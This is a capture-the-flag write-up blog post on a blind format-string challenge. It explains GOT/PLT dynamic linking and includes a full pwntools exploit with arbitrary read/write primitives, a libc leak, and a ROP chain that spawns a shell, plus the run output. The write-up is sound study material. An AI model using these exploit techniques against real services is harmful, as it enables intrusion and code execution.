Post

Understanding Dynamic Linking with Blind PWN

Buckeye 2025 was a really fun CTF with very interesting challenges. I was also very happy to see my team ranked #7 on the scoreboard.

printf

No files… 🙃

ncat --ssl printful.challs.pwnoh.io 1337

Analysis

There is really nothing to analyze for this challenge because there are NO attachments. This is a complete blind pwn. We can only make speculations and educated guesses based on the program’s behaviour by interacting with it through the ncat session.

This is an interactive program

1
2
3
$ ncat --ssl printful.challs.pwnoh.io 1337
Welcome to printful! Enter 'q' to quit
>

We can enter some text, and it will echo it back to us

1
2
3
4
5
> AAAA
AAAA
> 1234
1234
>

The obvious thing to do here would be look for format string Vulnerability. This is obvious because it is an echo program, and its name is “printful”, likely having to do something with printf(input).

Vulnerability

1
2
3
> %p-%p-%p-%p
0x563b6749100b-0x71-0xffffffff-0x7ffff9c37b80
>

And yes indeed, it is vulnerable to format string attacks.

If we give some recognisable inputs like AAAABBBB we will be able to see them in the stack dump as 0x4242424241414141.

1
2
3
> AAAABBBB-%p-%p-%p-%p-%p-%p-%p-%p
AAAABBBB-0x56423c22000b-0x71-0xfffeffff-0x7ffff334bbe0-(nil)-0x4242424241414141-0x252d70252d70252d-0x2d70252d70252d70
>

This confirms that our input is stored on the stack, and opens door for the classical arbitrary write primitive.

Exploit

If we somehow, magically, had a libc and stack leak. We could use this arbitrary write primitive to write a ROP chain at the saved return address and profit. However the main obstacle here is that we do not have those leaks (yet). So let’s try to dump the stack and hope to find something useful

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3

from pwn import *

context.arch = 'amd64'

io = remote("printful.challs.pwnoh.io", 1337, ssl=True)

def query(payload, output_required=True):
    io.sendlineafter(b'> ', payload)
    data = b''
    if output_required:
        data = io.recvline()[:-1]
    return data

def dump_stack(qwords = 0):
    stack = {}
    for i in range(qwords):
        print(f'Quering stack [{i+1}/{qwords}]...', end='\r')
        stack[i] = query(f'%{i}$p'.encode())
    print('')
    return stack

dump_stack(200)
__import__('pprint').pprint(stack)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
Quering stack [200/200]...
{0: b'%0$p',
 1: b'0x55772971300b',
 2: b'0x71',
 3: b'0xffffffff',
 4: b'0x7fff395236e0',
 5: b'(nil)',
 6: b'0xa70243625',
 7: b'0x34000000340',
 8: b'0x34000000340',
 9: b'0x34000000340',
 10: b'0x34000000340',
 11: b'0x34000000340',
 12: b'0x34000000340',
 13: b'0x34000000340',
 14: b'0x34000000340',
 15: b'0x34000000340',
 16: b'0x34000000340',
 17: b'0x7f1077349e8d',
 18: b'(nil)',
 19: b'0x7f10774a86a0',
 20: b'0x1',
 21: b'0x7f10774a8723',
 22: b'0xd68',
 23: b'0x7f107734b951',
 24: b'0xd68',
 25: b'0xa',
 26: b'0x7f10774a86a0',
 27: b'0x557729713010',
 28: b'0x557729715010',
 29: b'0x7f10774a44a0',
 30: b'(nil)',
 31: b'0x7f107734be93',
 32: b'0x26',
 33: b'0x7f10774a86a0',
 34: b'0x557729713010',
 35: b'0x7f107733f59a',
 36: b'0x557729712300',
 37: b'0x7fff39523800',
 38: b'0x557729712100',
 39: b'0x8bd831e8c370c900',
 40: b'0x7fff39523800',
 41: b'0x5577297122de',
 42: b'(nil)',
 43: b'0x7f10772df083',
 44: b'0x200000001',
 45: b'0x7fff395238f8',
 46: b'0x1774a37a0',
 47: b'0x557729712283',
 48: b'0x557729712300',
 49: b'0xa1f601bf272a813d',
 50: b'0x557729712100',
 51: b'0x7fff395238f0',
 52: b'(nil)',
 53: b'(nil)',
 54: b'0x5e08731b570a813d',
 55: b'0x5fd6efe4c744813d',
 56: b'(nil)',
 57: b'(nil)',
 58: b'(nil)',
 59: b'0x1',
 60: b'0x7fff395238f8',
 61: b'0x7fff39523908',
 62: b'0x7f10774e7190',
 63: b'(nil)',
 64: b'(nil)',
 65: b'0x557729712100',
 66: b'0x7fff395238f0',
 67: b'(nil)',
 68: b'(nil)',
 69: b'0x55772971212e',
 70: b'0x7fff395238e8',
 71: b'0x1c',
 72: b'0x1',
 73: b'0x7fff39524fe6',
 74: b'(nil)',
 75: b'(nil)',
 76: b'0x21',
 77: b'0x7f10774b6000',
 78: b'0x33',
 79: b'0x6f0',
 80: b'0x10',
 81: b'0x178bfbff',
 82: b'0x6',
 83: b'0x1000',
 84: b'0x11',
 85: b'0x64',
 86: b'0x3',
 87: b'0x557729711040',
 88: b'0x4',
 89: b'0x38',
 90: b'0x5',
 91: b'0xd',
 92: b'0x7',
 93: b'0x7f10774b8000',
 94: b'0x8',
 95: b'(nil)',
 96: b'0x9',
 97: b'0x557729712100',
 98: b'0xb',
 99: b'0x3e8',
 100: b'0xc',
 101: b'0x3e8',
 102: b'0xd',
 103: b'0x3e8',
 104: b'0xe',
 105: b'0x3e8',
 106: b'0x17',
 107: b'(nil)',
 108: b'0x19',
 109: b'0x7fff39523a89',
 110: b'0x1a',
 111: b'0x2',
 112: b'0x1f',
 113: b'0x7fff39524fef',
 114: b'0xf',
 115: b'0x7fff39523a99',
 116: b'0x1b',
 117: b'0x1c',
 118: b'0x1c',
 119: b'0x20',
 120: b'(nil)',
 121: b'(nil)',
 122: b'(nil)',
 123: b'0xd831e8c370c98100',
 124: b'0x9ed0fb00df93958b',
 125: b'0x34365f36387840',
 126: b'(nil)',
 127: b'(nil)',
[...] 
 198: b'(nil)',
 199: b'(nil)'}

So at the 6th qword we can observe 0xa70243625, which translates to %6$p\n. This is the our input, lying at the start of the current function’s stack frame.

If we follow along and look down, at 39th qword we observe 0x8bd831e8c370c900, which looks very much like a stack canary (because of the 8 LSB suspiciously being 00). So we know for sure that this challenge binary is compiled with stack protector. And if this is the canary and following the standard layout of the stack

1
2
3
4
5
6
7
+-------------------+
|      canary       |
+-------------------+
|   saved RBP       |  <-- RBP of previous frame
+-------------------+
|   saved RIP       |  <-- address to return to
+-------------------+

Then the next qword would be the saved base pointer of previous frame and next qword would be saved return address

1
2
=> saved RBP = 0x7fff39523800
=> saved RIP = 0x5577297122de

Another thing we can observe is that the return address is a full 6 byte canonical user-space address. Had it been a NO-PIE binary, it would have looked like 0x4014e. Which means we figured out another protection - compiled with PIE.

Also where exactly is previous frame base pointing to, that we can figure out by writing some dummy data and creating a new dump

1
2
3
4
5
6
7
8
9
...

saved_rbp = int(query(b'%40$p'), 16)
query(fmtstr_payload(6, {
    saved_rbp: 0xcafebabe
}), output_required=False)
stack = dump_stack(50)

...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Quering stack [50/50]...
{0: b'%0$p',
[...]
 38: b'0x5608f73b3100',
 39: b'0x6065ce8b11f4be00',
 40: b'0x7ffe0e9274e0',
 41: b'0x5608f73b32de',
 42: b'0xcafebabe',
 43: b'0x7f019d870083',
 44: b'0x200000001',
 45: b'0x7ffe0e9275d8',
 46: b'0x19da347a0',
 47: b'0x5608f73b3283',
 48: b'0x5608f73b3300',
 49: b'0xe644226afe50ed51'}

So offset 42 turns out to be the address pointed by saved RBP. This means that the next qword would be another return address. This time it looks like 0x7f019d870083. Starting with 0x7f instead of 0x55 likely means that this was the stack frame of main and is now returning to __libc_start_main_ret+XX.

TLDR: 43th qword gives libc leak. But since we do not know which libc version this binary uses, it’s not very helpful (at least as of now).

If you are wondering why did we not observe another canary in main’s stack frame. That’s because it does not store any data on the stack. And the compiler only introduces the canary if a function uses more than 8 bytes of stack buffer space.

So the goal is very clear. If we can determine the exact libc version, then with 43th qword leak, we will be able to get the base address dynamically, and use it to build our ROP chain. As a bonus, we have already found a stack leak with 40th qword leak, so we know where exactly to write to.

How do we leak libc? Typically you would need to leak at least 2 known addresses and use a libc database like libc.blukat.me, or libc.rip. However the problem we face is that we do not have 2 reliable leaks here.

You could probably do it with just 1 leak from __libc_start_main_ret+XX, but this is somewhat unreliable, and I personally don’t like it very much

Imagine if you had the challenge binary with you, what would you do in that situation? Well, since we already have a PIE leak from the stack (the return address into main+XX), this means that we could read any address in the loaded ELF. Is there any address in the loaded ELF segments which contain an address to libc? Yes there are! stdin, stdout and stderr are all FILE * which point to internal libc structures _IO_2_1_stdin_, _IO_2_1_stdout_ and _IO_2_1_stderr_ respectively. But even if we ignore them, there is still the Global Offset Table.

Dynamic Linking

Whenever you compile a C program and use functions from the standard library, those need to be included in your program. There are 2 ways to achieve this

  1. Static Linking - In static linking the compiler will include the machine code bytes for all the functions used from the standard library directly into your ELF program, ensuring no dependency exists on the system. This is great to make binaries portable and ensure they run on every system without conflicting with different versions of standard libraries. The downside is you get really big compiled ELF files.

  2. Dynamic Linking - Dynamic Linking is the other way to include functions definitions in your program without actually including the raw machine code bytes. This is also the default linking method by the GCC compiler. What happens in this case is that, the ELF is compiled to store placeholder to external addresses which are filled at runtime by the linker. Two main structures used for dynamic linking are Global Offset Table (GOT) and Procedure Linkage Table (PLT).

Global Offset Table

The GOT is a table in memory that holds addresses of functions used by the program. When a program calls a function that is not a part of its own code (via shared library), a placeholder address is held in the GOT entry for that function.

Procedure Linkage Table

The PLT is a mechanism that acts as a jump table to call external functions. When an external function is called, the call is made to the PLT entry. The PLT entry will point to a resolver stub by default. The stub calls the dynamic linker to resolve the address and updates the GOT with the correct address, so that next time the address can be fetched directly from the GOT.

You can look at these tables using readelf

1
2
3
4
5
6
#include <stdio.h>
#include <stdlib.h>
int main() {
  puts("HELLO");
  exit(0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ gcc prog.c -g
$ readelf -a a.out
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
[...]

  [ 5] .dynsym           DYNSYM           00000000000003f0  000003f0
       00000000000000c0  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           00000000000004b0  000004b0
       0000000000000092  0000000000000000   A       0     0     1
[...]
  [12] .plt              PROGBITS         0000000000001020  00001020
       0000000000000030  0000000000000010  AX       0     0     16
[...]
  [21] .dynamic          DYNAMIC          0000000000003de0  00002de0
       00000000000001e0  0000000000000010  WA       6     0     8
  [22] .got              PROGBITS         0000000000003fc0  00002fc0
       0000000000000028  0000000000000008  WA       0     0     8
  [23] .got.plt          PROGBITS         0000000000003fe8  00002fe8
       0000000000000028  0000000000000008  WA       0     0     8
[...]
  [33] .symtab           SYMTAB           0000000000000000  000032f8
       0000000000000258  0000000000000018          34     6     8
  [34] .strtab           STRTAB           0000000000000000  00003550
       0000000000000137  0000000000000000           0     0     1

[...]

Relocation section '.rela.plt' at offset 0x648 contains 2 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000004000  000300000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000004008  000500000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
No processor specific unwind information to decode

Symbol table '.dynsym' contains 8 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _[...]@GLIBC_2.34 (2)
     2: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterT[...]
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (3)
     4: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.2.5 (3)
     6: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMC[...]
     7: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND [...]@GLIBC_2.2.5 (3)

[...]

The most important information is this

1
2
3
4
Relocation section '.rela.plt' at offset 0x648 contains 2 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000004000  000300000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000004008  000500000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0

The 000300000007 and 000500000007 are parsed from the .rela.plt section. The 7 in lower dword means it is external symbol (I think). And 3 and 5 means that you can find info regarding this in the .dynsym table at index [3] and [5] respectively. Finally the 000000004000 and 000000004008 mean that the GOT entry (resolved address) will be stored at 0x4000 and 0x4008 offset from the PIE base.

These sections are themselves located in a RO page before the executable segment. Since 1 page is a lot to leak at once, we will likely need to leak it out in chunks. And in the following section

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def dump_memory(addr, sz):
    data = b''
    while len(data) < sz:
        print(f'Dumping ...{len(data)}/{sz}', end='\r')
        if b'\n' in p64(addr):
            extracted = b'?'
        else:
            extracted = arb_read(addr)
        if extracted == b'':
            extracted = b'\x00'
        data += extracted
        addr += len(extracted)
    return data[:sz]


saved_rbp = int(query(b'%40$p'), 16)
query(fmtstr_payload(6, {
    saved_rbp: 0xcafebabe
}), output_required=False)
# stack = dump_stack(50)
# __import__('pprint').pprint(stack)

main_addr = int(query(b'%47$p'), 16)
page_mask = ((1 << 64) - 1) >> 12 << 12
exc_region = main_addr & page_mask
binary_base = exc_region - 0x1000

data = dump_memory(binary_base+0x300, 0x500)
for i in range(0, len(data), 8):
    print('\t', hex(i), '\t\t', hex(u64(data[i:i+8])))

...

will dump .dymsym, .dynstr and .rela.plt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
         0x8             0x3f0270
         0x10            0x1
[...]
         0xe8            0x2000000081
         0xf0            0x0
         0xf8            0x0
         0x100           0x120000000b
         0x108           0x3f0000
         0x110           0x0
         0x118           0x1200000010
         0x120           0x0
         0x128           0x0
         0x130           0x1200000027
         0x138           0x0
         0x140           0x0
         0x148           0x1200000059
         0x150           0x0
         0x158           0x0
         0x160           0x120000002e
         0x168           0x0
         0x170           0x0
         0x178           0x1200000052
         0x180           0x0
         0x188           0x0
         0x190           0x200000009d
         0x198           0x0
         0x1a0           0x0
         0x1a8           0x120000004a
         0x1b0           0x0
         0x1b8           0x0
         0x1c0           0x20000000ac
         0x1c8           0x0
         0x1d0           0x0
         0x1d8           0x1a001100000034
         0x1e0           0x4010
         0x1e8           0x8
         0x1f0           0x220000003b
         0x1f8           0x0
         0x200           0x0
         0x208           0x1a0011003f0021
         0x210           0x4020
         0x218           0x8
         0x220           0x6f732e6362696c00
         0x228           0x7374757000362e
         0x230           0x5f6b636174735f5f
         0x238           0x6c6961665f6b6863
         0x240           0x70006e6964747300
         0x248           0x67660066746e6972
         0x250           0x6f64747300737465
         0x258           0x6178635f5f007475
         0x260           0x7a696c616e69665f
         0x268           0x7562767465730065
         0x270           0x706d637274730066
         0x278           0x5f6362696c5f5f00
         0x280           0x616d5f7472617473
         0x288           0x4342494c47006e69
         0x290           0x494c4700342e325f
         0x298           0x352e322e325f4342
         0x2a0           0x65645f4d54495f00
         0x2a8           0x7265747369676572
         0x2b0           0x54656e6f6c434d54
         0x2b8           0x675f5f00656c6261
         0x2c0           0x726174735f6e6f6d
         0x2c8           0x4d54495f005f5f74
         0x2d0           0x657473696765725f
         0x2d8           0x656e6f6c434d5472
         0x2e0           0x656c626154
         0x2e8           0x2000300020000
         0x2f0           0x200020002
         0x2f8           0x2000200000002
         0x300           0x2
         0x308           0x1003f0001
         0x310           0x10
         0x318           0x300000d696914
         0x320           0x100000006b
         0x328           0x2000009691a75
         0x330           0x75
         0x338           0x3d90
         0x340           0x8
         0x348           0x11e0
         0x350           0x3d98
         0x358           0x8
         0x360           0x11a0
         0x368           0x4008
         0x370           0x8
         0x378           0x4008
         0x380           0x3fd8
         0x388           0x100000006
         0x390           0x0
         0x398           0x3fe0
         0x3a0           0x500000006
         0x3a8           0x0
         0x3b0           0x3fe8
         0x3b8           0x800000006
         0x3c0           0x0
         0x3c8           0x3ff0
         0x3d0           0xa00000006
         0x3d8           0x0
         0x3e0           0x3ff8
         0x3e8           0xc00000006
         0x3f0           0x0
         0x3f8           0x4010
         0x400           0xb00000005
         0x408           0x3f0000
         0x410           0x4020
         0x418           0xd00000005
         0x420           0x0
         0x428           0x3fa8
         0x430           0x200000007
         0x438           0x0
         0x440           0x3fb0
         0x448           0x300000007
         0x450           0x0
         0x458           0x3fb8
         0x460           0x400000007
         0x468           0x0
         0x470           0x3fc0
         0x478           0x600000007
         0x480           0x0
         0x488           0x3fc8
         0x490           0x700000007
         0x498           0x0
         0x4a0           0x3fd0
         0x4a8           0x900000007
         0x4b0           0x0
[...]
         0x4f8           0x0

The following is a snippet from .rela.plt dump

1
2
3
4
5
6
7
         0x420           0x0
         0x428           0x3fa8
         0x430           0x200000007
         0x438           0x0
         0x440           0x3fb0
         0x448           0x300000007
         0x450           0x0

This declares 2 external functions ( indicated by the 7 in lower dword ):

  1. It’s GOT entry can be found @ PIE BASE + 0x3fa8. More information, like symbol name can be found at index 2 of the .dynsym table.
  2. It’s GOT entry can be found @ PIE BASE + 0x3fb0. More information, like symbol name can be found at index 3 of the .dynsym table.

The .dynsym can be found in the dump at offset 0xe8

1
2
3
4
5
6
7
8
9
10
         0xe8            0x2000000081
         0xf0            0x0
         0xf8            0x0
         0x100           0x120000000b
         0x108           0x3f0000
         0x110           0x0
         0x118           0x1200000010
         0x120           0x0
         0x128           0x0

Index [2] means 0x120000000b and index [3] means 0x1200000010. Those lower dword of this value represents the offset into .dynstr where the symbol name for this external function.

More precisely, .dynstr + 0x0b is the symbol name, and its resolved address will be stored at PIE BASE + 0x3fa8. Similarly .dynstr + 0x10 is the symbol name, and its resolved address will be stored at PIE BASE + 0x3fb0.

.dynstr starts at offset 0x220 in the dump. Here’s how I extracted it

1
2
3
4
5
6
In [2]: func1_name = dump[0x220 + 0x0b : 0x220 + 0x0b + 20]

In [3]: func2_name = dump[0x220 + 0x10 : 0x220 + 0x10 + 20]

In [4]: func1_name, func2_name
Out[4]: (b'puts\x00__stack_chk_fai', b'__stack_chk_fail\x00std')

So the two functions are puts() and __stack_chk_fail(), and they have their resolved address stored in the GOT, which can be found at PIE BASE + 0x3fa8 and PIE BASE + 0x3fb0 respectively. Let’s try to dump them.

1
2
3
4
5
6
7
8
9
10
[...]

# data = dump_memory(binary_base+0x300, 0x500)
# for i in range(0, len(data), 8):
#     print('\t', hex(i), '\t\t', hex(u64(data[i:i+8])))

print('puts @', hex(u64(dump_memory(binary_base + 0x3fa8, 8))))
print('__stack_chk_fail @', hex(u64(dump_memory(binary_base + 0x3fb0, 8))))

[...]

And here is the output

1
2
puts @ 0x7fb320ebe420
__stack_chk_fail @ 0x7fb320f69c90

By searching for these values on a libc database, we can infer that the remote instance uses libc 2.31.


That was all the heavy work. Now we can simply leak the libc return address from the stack as discussed before and use it to calculate libc base at runtime.

After that we can overwrite the saved return pointer with a ROP chain and profit.

So finally here is the final solve script which works on remote:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python3

from pwn import *

context.arch = 'amd64'
libc = ELF('./libc.so.6')

io = remote("printful.challs.pwnoh.io", 1337, ssl=True)

def query(payload, output_required=True):
    io.sendlineafter(b'> ', payload)
    data = b''
    if output_required:
        data = io.recvline()[:-1]
    return data

def dump_stack(qwords = 0):
    stack = {}
    for i in range(qwords):
        print(f'Quering stack [{i+1}/{qwords}]...', end='\r')
        stack[i] = query(f'%{i}$p'.encode())
    print('')
    return stack

def arb_write(where, what):
    payload = fmtstr_payload(6, {
        where: what
    })
    query(payload, output_required=False)

def arb_read(where):
    payload = flat({
        0: b'%7$s#',
        8: where
    })
    query(payload, output_required=False)
    data = io.recvuntil(b'#')[:-1]
    return data

def dump_memory(addr, sz):
    data = b''
    while len(data) < sz:
        print(f'Dumping ...{len(data)}/{sz}', end='\r')
        if b'\n' in p64(addr):
            extracted = b'?'
        else:
            extracted = arb_read(addr)
        if extracted == b'':
            extracted = b'\x00'
        data += extracted
        addr += len(extracted)
    return data[:sz]


saved_rbp = int(query(b'%40$p'), 16)
query(fmtstr_payload(6, {
    saved_rbp: 0xcafebabe
}), output_required=False)
# stack = dump_stack(50)
# __import__('pprint').pprint(stack)

main_addr = int(query(b'%47$p'), 16)
page_mask = ((1 << 64) - 1) >> 12 << 12
exc_region = main_addr & page_mask
binary_base = exc_region - 0x1000

# data = dump_memory(binary_base+0x300, 0x500)
# for i in range(0, len(data), 8):
#     print('\t', hex(i), '\t\t', hex(u64(data[i:i+8])))

# print('puts @', hex(u64(dump_memory(binary_base + 0x3fa8, 8))))
# print('__stack_chk_fail @', hex(u64(dump_memory(binary_base + 0x3fb0, 8))))

rop_start_loc = saved_rbp + 8
log.info(f'{hex(saved_rbp) = }')
log.info(f'{hex(main_addr) = }')
log.info(f'{hex(exc_region) = }')
log.success(f'{hex(binary_base) = }')
log.success(f'{hex(rop_start_loc) = }')

orig_ret_addr = u64(arb_read(rop_start_loc).ljust(8, b'\x00'))
libc.address = orig_ret_addr - 0x24083
log.info(f'{hex(orig_ret_addr) = }')
log.success(f'{hex(libc.address) = }')

rop = ROP(libc)
rop.raw(rop.find_gadget(['ret']).address)
rop.system(next(libc.search(b'/bin/sh\x00')))
print(rop.dump())
chain = rop.chain()
for i in range(0, len(chain), 8):
    chunk = chain[i:i+8]
    arb_write(rop_start_loc+i, chunk)

query(b'q')

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ printful ./solve.py
[*] '/home/vulnx/ctf/buckeye/pwn/printful/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to printful.challs.pwnoh.io on port 1337: Done
[*] hex(saved_rbp) = '0x7ffc85a4dab0'
[*] hex(main_addr) = '0x564597d2d283'
[*] hex(exc_region) = '0x564597d2d000'
[+] hex(binary_base) = '0x564597d2c000'
[+] hex(rop_start_loc) = '0x7ffc85a4dab8'
[*] hex(orig_ret_addr) = '0x7f995106a083'
[+] hex(libc.address) = '0x7f9951046000'
[*] Loaded 195 cached gadgets for './libc.so.6'
0x0000:   0x7f9951068679 ret
0x0008:   0x7f9951069b6a pop rdi; ret
0x0010:   0x7f99511fa5bd [arg0] rdi = 140296467752381
0x0018:   0x7f9951098290 system
[*] Switching to interactive mode
$ ls
flag.txt
run
$ whoami
whoami: cannot find name for user ID 1000
$ cat flag.txt
bctf{t15_a_g1ft_t0_b3_pr1n7ful_731066c9c5cc}

Thanks for reading! If you have any questions, feel free to reach out to me at discord, my handle is vulnx.

This post is licensed under CC BY 4.0 by the author.